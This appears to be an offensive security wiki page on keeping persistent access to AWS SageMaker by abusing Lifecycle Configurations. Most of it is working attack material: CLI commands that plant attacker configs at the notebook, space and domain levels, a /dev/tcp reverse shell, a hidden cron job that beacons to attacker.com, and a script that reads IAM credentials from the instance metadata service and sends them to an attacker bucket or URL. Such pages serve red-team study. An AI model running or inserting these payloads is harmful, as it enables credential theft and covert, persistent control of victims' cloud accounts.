Aws Sagemaker Persistence

Reading time: 5 minutes

Overview of Persistence Techniques

This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.

Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.

Required Permissions

• Notebook Instances:

sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance

• Studio Applications:

sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Set Lifecycle Configuration on Notebook Instances

Example AWS CLI Commands:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Set Lifecycle Configuration on SageMaker Studio

Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.

Studio Domain Level (All Users)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
    "JupyterServerAppSettings": {
        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
    }
}'

Studio Space Level (Individual or Shared Spaces)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
    "JupyterServerAppSettings": {
        "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
    }
}'

Types of Studio Application Lifecycle Configurations

Lifecycle configurations can be specifically applied to different SageMaker Studio application types:

• JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
• KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
• CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.

Example Command for Each Type:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

CodeEditor

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Critical Info:

• Attaching LCCs at the domain or space level impacts all users or applications within scope.
• Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
• Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence via Lifecycle Configuration

An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload